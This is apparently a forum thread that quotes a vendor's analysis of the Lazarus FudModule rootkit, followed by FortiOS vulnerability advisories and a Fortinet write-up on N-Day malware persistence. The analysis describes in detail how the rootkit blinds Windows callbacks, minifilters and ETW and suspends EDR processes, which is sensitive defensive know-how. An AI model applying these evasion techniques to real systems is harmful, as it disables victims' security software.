the address of nt!CallbackListHead. This is done by resolving CmUnRegisterCallback (this resolution is performed by name, through iterating over the export table of ntoskrnl in memory), scanning its function body for the lea rcx,[nt!CallbackListHead] instruction, and then calculating the final address from the offset extracted from the instruction’s opcodes. With the nt!CallbackListHead address, FudModule can iterate over the registry callback linked list. It inspects each entry and determines if the callback routine is implemented in ntoskrnl.exe, applockerfltr.sys, or bfs.sys. If it is, the callback is left untouched. Otherwise, the rootkit replaces the callback routine pointer with a pointer to ObIsKernelHandle and then proceeds to unlink the callback entry. 0x02 – Object Callbacks Object callbacks allow drivers to execute custom code in response to thread, process, and desktop handle operations. They are often used in self-defense, as they represent a convenient way to protect critical processes from being tampered with. Since the protection is enforced at the kernel level, this should protect even against elevated attackers, as long as they stay in user mode. Alternatively, object callbacks are also useful for monitoring and detecting suspicious activity. Whatever the use case, object callbacks can be set up using the ObRegisterCallbacks routine. FudModule naturally attempts to do the exact opposite: that is to remove all registered object callbacks. This could let it bypass self-defense mechanisms and evade object callback-based detection/telemetry. The implementation of this rootkit technique has stayed the same since the previous version, so there is no need to go into too much detail. First, the rootkit scans the body of the ObGetObjectType routine to obtain the address of nt!ObTypeIndexTable. This contains an array of pointers to _OBJECT_TYPE structures, each of which represents a distinct object type, such as Process, Token, or SymbolicLink. FudModule iterates over this array (skipping the first two special-meaning elements) and inspects each _OBJECT_TYPE.CallbackList, which contains a doubly linked list of object callbacks registered for the particular object type. The rootkit then empties the CallbackList by making each node’s forward and backward pointer point to itself. 0x04 – Process, Thread, and Image Kernel Callbacks This next rootkit technique is designed to disable three more types of kernel callbacks: process, thread, and image callbacks. As their names suggest, these are used to execute custom kernel code whenever a new process is created, a new thread spawned, or a new image loaded (e.g. a DLL loaded into a process). These callbacks are extremely useful for detecting malicious activity. For instance, process callbacks allow AVs and EDRs to perform various checks on each new process that is to be created. Registering these callbacks is very straightforward. All that is needed is to pass the new callback routine as an argument to PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, or PsSetLoadImageNotifyRoutine. These routines also come in their updated Ex variants, or even Ex2 in the case of PsSetCreateProcessNotifyRoutineEx2. Process, thread, and image callbacks are managed by the kernel in an almost identical way, which allows FudModule to use essentially the same code to disable all three of them. We find that this code has not changed much since the previous version, with the main difference being new additions to the list of drivers whose callbacks are left untouched. FudModule first finds the addresses of nt!PspNotifyEnableMask, nt!PspLoadImageNotifyRoutine, nt!PspCreateThreadNotifyRoutine, and nt!PspCreateProcessNotifyRoutine. These are once again obtained by scanning the code of exported routines, with the exact scanning method subject to some variation based on the Windows build number. Before any modification is performed, the rootkit clears nt!PspNotifyEnableMask and sleeps for a brief amount of time. This mask contains a bit field of currently enabled callback types, so clearing it disables all callbacks. While some EDR bypasses would stop here, FudModule’s goal is not to disable all callbacks indiscriminately, so the modification of nt!PspNotifyEnableMask is only temporary, and FudModule eventually restores it back to its original value. We believe the idea behind this temporary modification is to decrease the chance of a race condition that could potentially result in a bug check. All three of the above nt!Psp(LoadImage|CreateThread|CreateProcess)NotifyRoutine globals are organized as an array of _EX_FAST_REF pointers to _EX_CALLBACK_ROUTINE_BLOCK structures (at least that’s the name used in ReactOS, Microsoft does not share a symbol name here). FudModule iterates over all these structures and checks if _EX_CALLBACK_ROUTINE_BLOCK.Function (the actual callback routine pointer) is implemented in one of the below-whitelisted modules. If it is, the pointer will get appended to a new array that will be used to replace the original one. This effectively removes all callbacks except for those implemented in one of the below-listed modules. ntoskrnl.exe ahcache.sys mmcss.sys cng.sys ksecdd.sys tcpip.sys iorate.sys ci.dll dxgkrnl.sys peauth.sys wtd.sys Kernel modules that are allowed during the removal of process, thread, and image callbacks. 0x08 – Minifilter Drivers File system minifilters provide a mechanism for drivers to intercept file system operations. They are used in a wide range of scenarios, including encryption, compression, replication, monitoring, antivirus scanning, or file system virtualization. For instance, an encryption minifilter would encrypt the data before it is written to the storage device and, conversely, decrypt the data after it is read. FudModule is trying to get rid of all the monitoring and antivirus minifilters while leaving the rest untouched (after all, some minifilters are crucial to keep the system running). The choice about which minifilters to keep and which to remove is based mainly on the minifilter’s altitude, an integer value that is used to decide the processing order in case there are multiple minifilters attached to the same operation. Microsoft defines altitude ranges that should be followed by well-behaved minifilters. Unfortunately, these ranges also represent a very convenient way for FudModule to distinguish anti-malware minifilters from the rest. In its previous version, FudModule disabled minifilters by directly patching their filter functions’ prologues. This would be considered very unusual today, with HVCI (Hypervisor-Protected Code Integrity) becoming more prevalent, even turned on by default on Windows 11. Since HVCI is a security feature designed to prevent the execution of arbitrary code in the kernel, it would stand in the way of FudModule trying to patch the filter function. This forced Lazarus to completely reimplement this rootkit technique, so the current version of FudModule disables file system minifilters in a brand-new data-only attack. This attack starts by resolving FltEnumerateFilters and using it to find FltGlobals.FrameList.rList. This is a linked list of FLTMGR!_FLTP_FRAME structures, each representing a single filter manager frame. From here, FudModule follows another linked list at _FLTP_FRAME.AttachedVolumes.rList. This linked list consists of FLTMGR!_FLT_VOLUME structures, describing minifilters attached to a particular file system volume. Interestingly, the rootkit performs a sanity check to make sure that the pool tag associated with the _FLT_VOLUME allocation is equal to FMvo. With the sanity check satisfied, FudModule iterates over _FLT_VOLUME.Callbacks.OperationsLists, which is an array of linked lists of FLTMGR!_CALLBACK_NODE structures, indexed by IRP major function codes. For instance, OperationsLists[IRP_MJ_READ] is a linked list describing all filters attached to the read operation on a particular volume. FudModule making sure the pool tag of a _FLT_VOLUME chunk is equal to FMvo. For each _CALLBACK_NODE, FudModule obtains the corresponding FLTMGR!_FLT_INSTANCE and FLTMGR!_FLT_FILTER structures and uses them to decide whether to unlink the callback node. The first check is based on the name of the driver behind the filter. If it is hmpalert.sys (associated with the HitmanPro anti-malware solution), the callback will get immediately unlinked. Conversely, the callback is preserved if the driver’s name matches an entry in the following list: bindflt.sys storqosflt.sys wcifs.sys cldflt.sys filecrypt.sys luafv.sys npsvctrig.sys wof.sys fileinfo.sys applockerfltr.sys bfs.sys Kernel modules that are allowlisted to preserve their file system minifilters. If there was no driver name match, FudModule uses _FLT_FILTER.DefaultAltitude to make its ultimate decision. Callbacks are unlinked if the default altitude belongs either to the range [320000, 329999] (defined as FSFilter Anti-Virus by Microsoft) or the range [360000, 389999] (FSFilter Activity Monitor). Besides unlinking the callback nodes, FudModule also wipes the whole _FLT_INSTANCE.CallbackNodes array in the corresponding _FLT_INSTANCE structures. 0x10 – Windows Filtering Platform Windows Filtering Platform (WFP) is a documented set of APIs designed for host-based network traffic filtering. The WFP API offers capabilities for deep packet inspection as well as for modification or dropping of packets at various layers of the network stack. This is very useful functionality, so it serves as a foundation for a lot of Windows network security software, including intrusion detection/prevention systems, firewalls, and network monitoring tools. The WFP API is accessible both in user and kernel space, with the kernel part offering more powerful functionality. Specifically, the kernel API allows for installing so-called callout drivers, which can essentially hook into the network stack and perform arbitrary actions on the processed network traffic. FudModule is trying to interfere with the installed callout routines in an attempt to disrupt the security they provide. This rootkit technique is executed only when Kaspersky drivers (klam.sys, klif.sys, klwfp.sys, klwtp.sys, klboot.sys) are present on the targeted system and at the same time Symantec/Broadcom drivers (symevnt.sys, bhdrvx64.sys, srtsp64.sys) are absent. This check appears to be a new addition in the current version of FudModule. In other aspects, our analysis revealed that the core idea of this technique matches the findings described by ESET researchers during their analysis of the previous version. Initially, FudModule resolves netio!WfpProcessFlowDelete to locate the address of netio!gWfpGlobal. As the name suggests, this is designed to store WFP-related global variables. Although its exact layout is undocumented, it is not hard to find the build-specific offset where a pointer to an array of WFP callout structures is stored (with the length of this array stored at an offset immediately preceding the pointer). FudModule follows this pointer and iterates over the array, skipping all callouts implemented in ndu.sys, tcpip.sys, mpsdrv.sys, or wtd.sys. For the remaining callouts, FudModule accesses the callout structure’s flags and sets the flag stored in the least significant bit. While the callout structure itself is undocumented, this particular 0x01 flag is documented in another structure, where it is called FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW. The documentation reads “if this flag is specified, the filter engine calls the callout driver’s classifyFn2 callout function only if there is a context associated with the data flow”. In other words, setting this flag will conditionally disable the callout in cases where no flow context is available (see the implementation of netio!IsActiveCallout below). The meaning of the FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW flag can be nicely seen in netio!IsActiveCallout. If this flag is set and no flow context can be obtained, IsActiveCallout will return false (see the highlighted part of the condition). While this rootkit technique has the potential to interfere with some WFP callouts, it will not be powerful enough to disrupt all of them. Many WFP callouts registered by security vendors already have the FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW flag set by design, so they will not be affected by this technique at all. Given the initial driver check, it seems like this technique might be targeted directly at Kaspersky. While Kaspersky does install dozens of WFP callouts, about half of those are designed for processing flows and already have the FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW flag set. Since we refrained from reverse engineering our competitor’s products, the actual impact of this rootkit technique remains unclear. 0x20 – Missing So far, the rootkit techniques we analyzed were similar to those detailed by ESET in their paper on the earlier rootkit variant. But starting from now, we are getting into a whole new territory. The 0x20 technique, which used to deal with Event Tracing for Windows (ETW), has been deprecated, leaving the 0x20 bit unused. Instead, there are two new replacement techniques that target ETW, indexed with the bits 0x40 and 0x80. The indexing used to end at 0x40, which was a technique to obstruct forensic analysis by disabling prefetch file creation. However, now the bits go all the way up to 0x200, with two additional new techniques that we will delve into later in this blog. 0x40 – Event Tracing for Windows: System Loggers Event Tracing for Windows (ETW) serves as a high-performance mechanism dedicated to tracing and logging events. In a nutshell, its main purpose is to connect providers (who generate some log events) with consumers (who process the generated events). Consumers can define which events they would like to consume, for instance, by selecting some specific providers of interest. There are providers built into the operating system, like Microsoft-Windows-Kernel-Process which generates process-related events, such as process creation or termination. However, third-party applications can also define their custom providers. While many built-in providers are not security-related, some generate events useful for detection purposes. For instance, the Microsoft-Windows-Threat-Intelligence provider makes it possible to watch for suspicious events, such as writing another process’ memory. Furthermore, various security products take advantage of ETW by defining their custom providers and consumers. FudModule tampers with ETW internals in an attempt to intercept suspicious events and thus evade detection. The main idea behind this rootkit technique is to disable system loggers by zeroing out EtwpActiveSystemLoggers. The specific implementation of how this address is found varies based on the target Windows version. On newer builds, the nt!EtwSendTraceBuffer routine is resolved first and used to find nt!EtwpHostSiloState. This points to an _ETW_SILODRIVERSTATE structure, and using a hardcoded build-specific offset, the rootkit can access _ETW_SILODRIVERSTATE.SystemLoggerSettings.EtwpActiveSystemLoggers. On older builds, the rootkit first scans the entire ntoskrnl .text section, searching for opcode bytes specific to the EtwTraceKernelEvent prologue. The rootkit then extracts the target address from the mov ebx, cs:EtwpActiveSystemLoggers instruction that immediately follows. To understand the technique’s impact, we can take a look at how EtwpActiveSystemLoggers is used in the kernel. Accessed on a bit-by-bit basis, its least significant eight bits might be set in the EtwpStartLogger routine. This indicates that the value itself is a bit field, with each bit signifying whether a particular system logger is active. Looking at the other references to EtwpActiveSystemLoggers, a clear pattern emerges. After its value is read, there tends to be a loop guarded by a bsf instruction (bit scan forward). Inside the loop tends to be a call to an ETW-related routine that might generate a log event. The purpose of this loop is to iterate over the set bits of EtwpActiveSystemLoggers. When the rootkit clears all the bits, the body of the loop will never get executed, meaning the event will not get logged. Example decompilation of EtwpTraceKernelEventWithFilter. After the rootkit zeroes out EtwpActiveSystemLoggers, EtwpLogKernelEvent will never get called from inside the loop since the condition guarding the loop will always evaluate to zero. 0x80 – Event Tracing for Windows: Provider GUIDs Complementing the previous technique, the 0x80 technique is also designed to blind ETW, however using a different approach. While the 0x40 technique was quite generic – aiming to disable all system loggers – this technique operates in a more surgical fashion. It contains a hardcoded list of 95 GUIDs, each representing an identifier for some specific ETW provider. The rootkit iterates over all these GUIDs and attempts to disable the respective providers. While this approach requires the attackers to invest some effort into assembling the list of GUIDs, it also offers them a finer degree of control over which ETW providers they will eventually disrupt. This allows them to selectively target providers that pose a higher detection risk and ignore the rest to minimize the rootkit’s impact on the target system. This technique starts by obtaining the address of EtwpHostSiloState (or EtwSiloState on older builds). If EtwpHostSiloState was already resolved during the previous technique, the rootkit just reuses the address. If not, the rootkit follows the reference chain PsGetCurrentServerSiloName -> PsGetCurrentServerSiloGlobals -> PspHostSiloGlobals -> EtwSiloState. In both scenarios, the result is that the rootkit just obtained a pointer to an _ETW_SILODRIVERSTATE structure, which contains a member named EtwpGuidHashTable. As the name suggests, this is a hash table holding ETW GUIDs (_ETW_GUID_ENTRY). FudModule then iterates over its hardcoded list of GUIDs and attempts to locate each of them in the hash table. Although the hash table internals are officially undocumented, Yarden Shafir provided a nice description in her blog on exploiting an ETW vulnerability. In a nutshell, the hash is computed by just splitting the 128-bit GUID into four 32-bit parts and XORing them together. By ANDing the hash with 0x3F, an index of the relevant hash bucket (_ETW_HASH_BUCKET) can be obtained. The bucket contains three linked lists of _ETW_GUID_ENTRY structures, each designated for a different type of GUIDs. FudModule always opts for the first one (EtwTraceGuidType) and traverses it, looking for the relevant _ETW_GUID_ENTRY structure. With a pointer to _ETW_GUID_ENTRY corresponding to a GUID of interest, FudModule proceeds to clear _ETW_GUID_ENTRY.ProviderEnableInfo.IsEnabled. The purpose of this modification seems self-explanatory: FudModule is trying to disable the ETW provider. To better understand how this works, let’s examine nt!EtwEventEnabled (see the decompiled code below). This is a routine that often serves as an if condition before nt!EtwWrite (or nt!EtwWriteEx) gets called. Looking at the decompilation, there are two return 1 statements. Setting ProviderEnableInfo.IsEnabled to zero ensures that the first one is never reached. However, the second return statement could still potentially execute. To make sure this doesn’t happen, the rootkit also iterates over all _ETW_REG_ENTRY structures from the _ETW_GUID_ENTRY.RegListHead linked list. For each of them, it makes a single doubleword write to zero out four masks, namely EnableMask, GroupEnableMask, HostEnableMask, and HostGroupEnableMask (or only EnableMask and GroupEnableMask on older builds, where the latter two masks were not yet introduced). Decompilation of nt!EtwEventEnabled. After the rootkit has finished its job, this routine will always return false for events related to the targeted GUIDs. This is because the rootkit cleared both _ETW_GUID_ENTRY.ProviderEnableInfo.IsEnabled and _ETW_REG_ENTRY.GroupEnableMask, forcing the highlighted conditions to fail. Clearing these masks also has an additional effect beyond making EtwEventEnabled always return false. These four are all also checked in EtwWriteEx and this modification effectively neutralizes this routine, as when no mask is set for a particular event registration object, execution will never proceed to a lower-level routine (nt!EtwpEventWriteFull) where the bulk of the actual event writing logic is implemented. 0x100 – Image Verification Callbacks Image verification callbacks are yet another callback mechanism disrupted by FudModule. Designed similarly to process/thread/image callbacks, image verification callbacks are supposed to get invoked whenever a new driver image is loaded into kernel memory. This represents useful functionality for anti-malware software, which can leverage them to blocklist known malicious or vulnerable drivers (though there might be some problems with this blocking approach as the callbacks get invoked asynchronously). Furthermore, image verification callbacks also offer a valuable source of telemetry, providing visibility into suspicious driver load events. The callbacks can be registered using the SeRegisterImageVerificationCallback routine, which is publicly undocumented. As a result of this undocumented nature, the usage here is limited mainly to deep-rooted anti-malware software. For instance, Windows Defender registers a callback named WdFilter!MpImageVerificationCallback. As the kernel internally manages image verification callbacks in a similar fashion to some of the other callbacks we already explored, the rootkit’s removal implementation will undoubtedly seem familiar. First, the rootkit resolves the nt!SeRegisterImageVerificationCallback routine and scans its body to locate nt!ExCbSeImageVerificationDriverInfo. Dereferencing this, it obtains a pointer to a _CALLBACK_OBJECT structure, which holds the callbacks in the _CALLBACK_OBJECT.RegisteredCallbacks linked list. This list consists of _CALLBACK_REGISTRATION structures, where the actual callback function pointer can be found in _CALLBACK_REGISTRATION.CallbackFunction. FudModule clears the entire list by making the RegisteredCallbacks head LIST_ENTRY point directly to itself. Additionally, it also walks the original linked list and similarly short-circuits each individual _CALLBACK_REGISTRATION entry in the list. This rootkit technique is newly implemented in the current version of FudModule, and we can only speculate on the motivation here. It seems to be designed to help avoid detection when loading either a vulnerable or a malicious driver. However, it might be hard to understand why Lazarus should want to load an additional driver if they already have control over the kernel. It would make little sense for them to load a vulnerable driver, as they already established their kernel read/write primitive by exploiting a zero-day in a preinstalled Windows driver. Further, even if they were exploiting a vulnerable driver in the first place (as was the case in the previous version of FudModule), it would be simply too late to unlink the callback now. By the time this rootkit technique executes, the image verification callback for the vulnerable driver would have already been invoked. Therefore, we believe the most likely explanation is that the threat actors are preparing the grounds for loading some malicious driver later. Perhaps the idea is that they just want to be covered in case they decide to deploy some additional kernel-mode payload in the future. 0x200 – Direct Attacks on Security Software The rootkit techniques we explored up to this point were all somewhat generic. Each targeted some security-related system component and, through it, indirectly interfered with all security software that relied on the component. In contrast, this final technique goes straight to the point and aims to directly disable specific security software. In particular, the targeted security solutions are AhnLab V3 Endpoint Security, Windows Defender, CrowdStrike Falcon, and HitmanPro. The attack starts with the rootkit obtaining the address of its own _EPROCESS structure. This is done using NtDuplicateHandle to duplicate the current process pseudohandle and then calling NtQuerySystemInformation to get SystemExtendedHandleInformation. With the extended handle information, the rootkit looks for an entry corresponding to the duplicated handle and obtains the _EPROCESS pointer from there. Using NtQuerySystemInformation to leak kernel pointers is a well-known technique that Microsoft aims to restrict by gradually building up mitigations. However, attackers capable of enabling SeDebugPrivilege at high integrity levels are out of scope of these mitigations, so FudModule can keep using this technique, even on the upcoming 24H2 builds. With the _EPROCESS pointer, FudModule disables mitigations by zeroing out _EPROCESS.MitigationFlags. Then, it also clears the EnableHandleExceptions flag from _EPROCESS.ObjectTable.Flags. We believe this is meant to increase stability in case something goes wrong later during the handle table entry manipulation technique that we will describe shortly. Regarding the specific technique used to attack the security solutions, AhnLab is handled differently than the other three targets. FudModule first checks if AhnLab is even running, by traversing the ActiveProcessLinks linked list and looking for a process named asdsvc.exe (AhnLab Smart Defense Service) with _EPROCESS.Token.AuthenticationId set to SYSTEM_LUID. If such a process is found, FudModule clears its _EPROCESS.Protection byte, effectively toggling off PPL protection for the process. While this asdsvc.exe process is under usual circumstances meant to be protected at the standard PsProtectedSignerAntimalware level, this modification makes it just a regular non-protected process. This opens it up to further attacks from user mode, where now even other privileged, yet non-protected processes could be able to tamper with it. However, we suspect the main idea behind this technique might be to disrupt the link between AhnLab’s user-mode and kernel-mode components. By removing the service’s PPL protection, the kernel-mode component might no longer recognize it as a legitimate AhnLab component. However, this is just a speculation as we didn’t test the real impact of this technique. Handle Table Entry Manipulation The technique employed to attack Defender, CrowdStrike, and HitmanPro is much more intriguing: FudModule attempts to suspend them using a new handle table entry manipulation technique. To better understand this technique, let’s begin with a brief background on handle tables. When user-mode code interacts with kernel objects such as processes, files, or mutexes, it typically doesn’t work with the objects directly. Instead, it references them indirectly through handles. Internally, the kernel must be able to translate the handle to the corresponding object, and this is where the handle table comes in. This per-process table, available at _EPROCESS.ObjectTable.TableCode, serves as a mapping from handles to the underlying objects. Organized as an array, it is indexed by the integer value of the handle. Each element is of type _HANDLE_TABLE_ENTRY and contains two crucial pieces of information: a (compressed) pointer to the object’s header (nt!_OBJECT_HEADER) and access bits associated with the handle. Due to this handle design, kernel object access checks are typically split into two separate logical steps. The first step happens when a process attempts to acquire a handle (such as opening a file with CreateFile). During this step, the current thread’s token is typically checked against the target object’s security descriptor to ensure that the thread is allowed to obtain a handle with the desired access mask. The second check takes place when a process performs an operation using an already acquired handle (such as writing to a file with WriteFile). This typically only involves verifying that the handle is powerful enough (meaning it has the right access bits) for the requested operation. FudModule executes as a non-protected process, so it theoretically shouldn’t be able to obtain a powerful handle to a PPL-protected process such as the CrowdStrike Falcon Service. However, leveraging the kernel read/write primitive, FudModule has the ability to access the handle table directly. This allows it to craft a custom handle table entry with control over both the referenced object and the access bits. This way, it can conjure an arbitrary handle to any object, completely bypassing the check typically needed for handle acquisition. What’s more, if it sets the handle’s access bits appropriately, it will also satisfy the subsequent handle checks when performing its desired operations. To prepare for the handle table entry manipulation technique, FudModule creates a dummy thread that just puts itself to sleep immediately. The thread itself is not important. What is important is that by calling CreateThread, the rootkit just obtained a thread handle with THREAD_ALL_ACCESS rights. This handle is the one that will have its handle table entry manipulated. Since it already has very powerful access bits, the rootkit will not even have to touch its _HANDLE_TABLE_ENTRY.GrantedAccessBits. All it needs to do is overwrite _HANDLE_TABLE_ENTRY.ObjectPointerBits to redirect the handle to an arbitrary object of its choice. This will make the handle reference that object and enable the rootkit to perform privileged operations on it. Note that ObjectPointerBits is not the whole pointer to the object: it only represents 44 bits of the 64-bit pointer. But since the _OBJECT_HEADER pointed to by ObjectPointerBits is guaranteed to be aligned (meaning the least significant four bits must be zero) and in kernel address space (meaning the most significant sixteen bits must be 0xFFFF), the remaining 20 bits can be easily inferred. A dummy thread whose handle will be the subject of handle table entry manipulation. The specific processes targeted by this technique are MsSense.exe, MsMpEng.exe, CSFalconService.exe, and hmpalert.exe. FudModule first finds their respective _EPROCESS structures, employing the same algorithm as it did to find the AhnLab service. Then, it performs a sanity check to ensure that the dummy thread handle is not too high by comparing it with _EPROCESS.ObjectTable.NextHandleNeedingPool (which holds information on the maximum possible handle value given the current handle table allocation size). With the sanity check satisfied, FudModule accesses the handle table itself (EPROCESS.ObjectTable.TableCode) and modifies the dummy thread’s _HANDLE_TABLE_ENTRY so that it points to the _OBJECT_HEADER of the target _EPROCESS. Finally, the rootkit uses the redirected handle to call NtSuspendProcess, which will suspend the targeted process. It might seem odd that the manipulated handle used to be a thread handle, but now it’s being used as a process handle. In practice, there is nothing wrong with this since the handle table itself holds no object type information. The object type is stored in _OBJECT_HEADER.TypeIndex so when the rootkit redirected the handle, it also effectively changed the handle object type. As for the access bits, the original THREAD_ALL_ACCESS gets reinterpreted in the new context as PROCESS_ALL_ACCESS since both constants share the same underlying value. The manipulated dummy thread handle (0x168), now referencing a process object. Though suspending the target process might initially appear to be a completed job, FudModule doesn’t stop here. After taking five seconds of sleep, it also attempts to iterate over all the threads in the target process, suspending them one by one. When all threads are suspended, FudModule uses NtResumeProcess to resume the suspended process. At this point, while the process itself is technically resumed, its individual threads remain suspended, meaning the process is still effectively in a suspended state. We can only speculate why Lazarus implemented process suspension this way, but it seems like an attempt to make the technique stealthier. After all, a suspended process is much more conspicuous than just several threads with increased suspend counts. To enumerate threads, FudModule calls NtQuerySystemInformation with the SystemExtendedHandleInformation class. Iterating over the returned handle information, FudModule searches for thread handles from the target process. The owner process is checked by comparing the PID of the target process with SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.UniqueProcessId and the type is checked by comparing SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.ObjectTypeIndex with the thread type index, which was previously obtained using NtQueryObject to get ObjectTypesInformation. For each enumerated thread (which might include some threads multiple times, as there might be more than one open handle to the same thread), FudModule manipulates the dummy thread handle so that it points to the enumerated thread and suspends it by calling SuspendThread on the manipulated handle. Finally, after all threads are suspended and the process resumed, FudModule restores the manipulated handle to its original state, once again referencing the dummy sleep thread. Conclusion The Lazarus Group remains among the most prolific and long-standing advanced persistent threat actors. Though their signature tactics and techniques are well-recognized by now, they still occasionally manage to surprise us with an unexpected level of technical sophistication. The FudModule rootkit serves as the latest example, representing one of the most complex tools Lazarus holds in their arsenal. Recent updates examined in this blog show Lazarus’ commitment to keep actively developing this rootkit, focusing on improvements in both stealth and functionality. With their admin-to-kernel zero-day now burned, Lazarus is confronted with a significant challenge. They can either discover a new zero-day exploit or revert to their old BYOVD techniques. Regardless of their choice, we will continue closely monitoring their activity, eager to see how they will cope with these new circumstances. Indicators of Compromise (IoCs) A YARA rule for the latest FudModule variant is available at https://github.com/avast/ioc/tree/master/FudModule#yara. As always Microsoft is slow to re-act , this vulnerability is being exploited since August 2023 , but Microsoft has fixed it in February 2024 "Thanks to Avast’s prompt report, Microsoft addressed this vulnerability as CVE-2024-21338 in the February Patch Tuesday update."

Newly released firmwares would fix the critical vulnerabilities affecting FortiOS FG-IR-24-015 / CVE-2024-21762 - Severity Critical A out-of-bounds write vulnerability [CWE-787] in FortiOS may allow a remote unauthenticated attacker to execute arbitrary code or command via specially crafted HTTP requests. Workaround : disable SSL VPN (disable webmode is NOT a valid workaround) Note: This is potentially being exploited in the wild. --------- FG-IR-24-029 / CVE-2024-23113 - Severity Critical Summary A use of externally-controlled format string vulnerability [CWE-134] in FortiOS fgfmd daemon may allow a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests. --------- FG-IR-23-385 / CVE-2023-38545 Severity Low & High Summary CVE-2023-38545: severity HIGH (affects both libcurl and the curl tool) A heap-based buffer overflow flaw was found in the SOCKS5 proxy handshake in the Curl package. If Curl is unable to resolve the address itself, it passes the hostname to the SOCKS5 proxy. However, the maximum length of the hostname that can be passed is 255 bytes. If the hostname is longer, then Curl switches to the local name resolving and passes the resolved address only to the proxy. The local variable that instructs Curl to "let the host resolve the name" could obtain the wrong value during a slow SOCKS5 handshake, resulting in the too-long hostname being copied to the target buffer instead of the resolved address, which was not the intended behavior. https://curl.se/docs/CVE-2023-38545.html CVE-2023-38546: severity LOW (affects libcurl only, not the tool) A flaw was found in the Curl package. This flaw allows an attacker to insert cookies into a running program using libcurl if the specific series of conditions are met. https://curl.se/docs/CVE-2023-38546.html The following products are NOT impacted: FortiMail FortiLANCloud FortiVoice FortiAuthenticator FortiRecorder FortiWeb FortiTester FortiWLM FortiClientLinux FortiVoiceUC FortiClientEMS FortiClientWindows FortiClientMac FortiConnect FortiNAC-F FortiADC FortiNDR FortiSwitch FortiDDoS-F FortiDDoS FortiAnalyzer FortiManager Products not listed in this advisory Timeline 2023-11-07: Initial publication And more info about the exploits with this post from Fortinet: https://www.fortinet.com/blog/psirt-blogs/importance-of-patching-an-analysis-of-the-exploitation-of-n-day-vulnerabilities By Carl Windsor, Guillaume Lovet, Wilfried Djettchou, Hongkei Chan and Alex Kong | February 07, 2024 Affected Platforms: FortiGate Impacted Users: Government, service provider, consultancy, manufacturing, and large critical infrastructure organizations Impact: Data loss and OS and file corruption Severity Level: High Executive Summary The following supplementary research provides an analysis of the exploitation of resolved N-Day Fortinet vulnerabilities. "N-Day vulnerabilities" refer to known vulnerabilities for which a patch or fix is available but for which organizations have not yet resolved via patching. Fortinet continues to monitor ongoing activity by threat actors targeting known, unpatched vulnerabilities, specifically: December 2022 - FG-IR-22-398 / CVE-2022-42475 June 2023 - FG-IR-23-097 / CVE-2023-27997 Fortinet continues to urge all customers to take immediate action to review the guidance, assess whether affected, and if appropriate, upgrade their FortiGate devices as advised, and follow Fortinet’s public advisories. Fortinet diligently balances our commitment to the security of our customers and our culture of researcher collaboration and transparency. In our ongoing communications and work with our customers and third-party public and private partners, we have been able to collect malware samples and, in some cases, related network traffic specific to these vulnerabilities and collaborate with these organizations to share our analysis and advised recommended actions with our customers and the global cyber ecosystem. We are sharing this analysis to help customers make informed risk-based decisions and for other threat research and security organizations to help the industry collaborate on identifying this actor(s)'s activity and aid in detecting and preventing further activity. This report was timed to coincide with the report on Volt Typhoon activity from CISA. N-Day Abuse The term “zero-day vulnerability” refers to a software vulnerability exploited by attackers before the software vendor becomes aware of it and releases a fix or patch. In contrast, and specific to this analysis, "N-Day vulnerabilities" refer to known vulnerabilities for which a patch or fix is available but for which organizations have not yet taken appropriate measures to apply the patch, leaving their systems exposed to potential exploitation. Fortinet diligently monitors the abuse of N-Day vulnerabilities where patches have been released, but organizations have not yet upgraded. FortiOS - heap-based buffer overflow in sslvpnd December 2022 - FG-IR-22-398 / CVE-2022-42475 FortiOS & FortiProxy - Heap buffer overflow in sslvpn pre-authentication June 2023 - FG-IR-23-097 / CVE-2023-27997 The best defense against any N-Day vulnerability is following good cyber hygiene, including remediation guidance and timely patching. As previously detailed, these vulnerabilities are not trivial to exploit. The complexity of the exploit suggests an advanced actor, and the fact the attacks are highly targeted at governmental or strategic targets such as critical national infrastructure, manufacturing, and service providers in government-adjacent industries suggests nation-state capability. In this write-up, we analyze recently observed malicious N-Day activity. The following research details our investigations into the malware and IoCs being observed, which may be useful for organizations tracking adversary activity. Incident Analysis Fortinet diligently balances our commitment to the security of our customers and our culture of researcher collaboration and transparency. We are sharing this information to support impacted organizations, and threat researchers and security organizations tracing these actors' activity. The malware used in these incidents are commonly a variant of a Linux implant customized for FortiOS. The following information was gathered during our forensic filesystem and binary analysis of compromised appliances. However, not all incidents are identical, so we have broken them down into clusters. Cluster 1 Target Industries: manufacturing, consulting, local government ld.so.preload: In this cluster, /etc/ld.so.preload contained the string /data2/libcrashpad.so. Files listed within ld.so.preload will be preloaded by any other binary on the system, which results in all FortiOS processes loading and executing the /data2/libcrashpad.so shared object file on start. Typically, malware will leverage this preloading mechanism to maintain persistence should a process be killed. File Path /data2/libcrashpad.so Hashes: MD5: e3bb54fb78b70d50746082d077cfccba MD5: 1f7c614bbb75fec9b94efb58404bdeca MD5: d590aa857efe4623c221a398e953c764 MD5: 5fe8e0625b272cf2bb75023c1ded7b44 File Type: ASCII Text libcrashpad.so: libcrashpad.so executes /data2/tftpd under the following conditions: /tmp/tftpd.lock is not present The current process’s command name is ‘ripd’ /tmp/tftpd.lock will be created if libcrashpad.so executes. File Path /data2/libcrashpad.so Hashes: MD5: e9f64481280c964a6a5dbf551e9cf6f0 / SHA256: 7075c5595ac2b34c8f5cf99aeeae0a99b10df100cfb5362f9a2a033ce4451a0e MD5: 9db3c6c29b4028ccd63ee38b62620df7 / SHA256: 9af6b6b1ce11ab62a95f3990cdf9b0f3d4bc722f662d80116bcdabdd302f4aee MD5: aa53393374e3ec355c0071adeba535eb / SHA256: ef7f71ea1c7f35c8a28fc2e98fa9e59b8e2d0f0bea84a527cf2c20ccc4f8b816 MD5: 604d909d4d8d69c07e3474ceaf379f20 / SHA256: ddc68e6647f9abcf23206d2fbcbccb4459d7f545abfc9b2e12ebba2e5a29bcd1 MD5: 78310bad651eff14e5ecefe674630e75 / SHA256: 1103c2cd47fd62d2c9353edb5c2dce23173c15770594237b84e01635723b0eec MD5: 5b2882b0a4de3210e1bfa5db1ed63713 / SHA256: MD5: dbe0d8d612ad89229cd6175e37157f3c / SHA256: File Type: ELF 64-bit LSB shared object, x86-64, dynamically linked tftpd: This is the 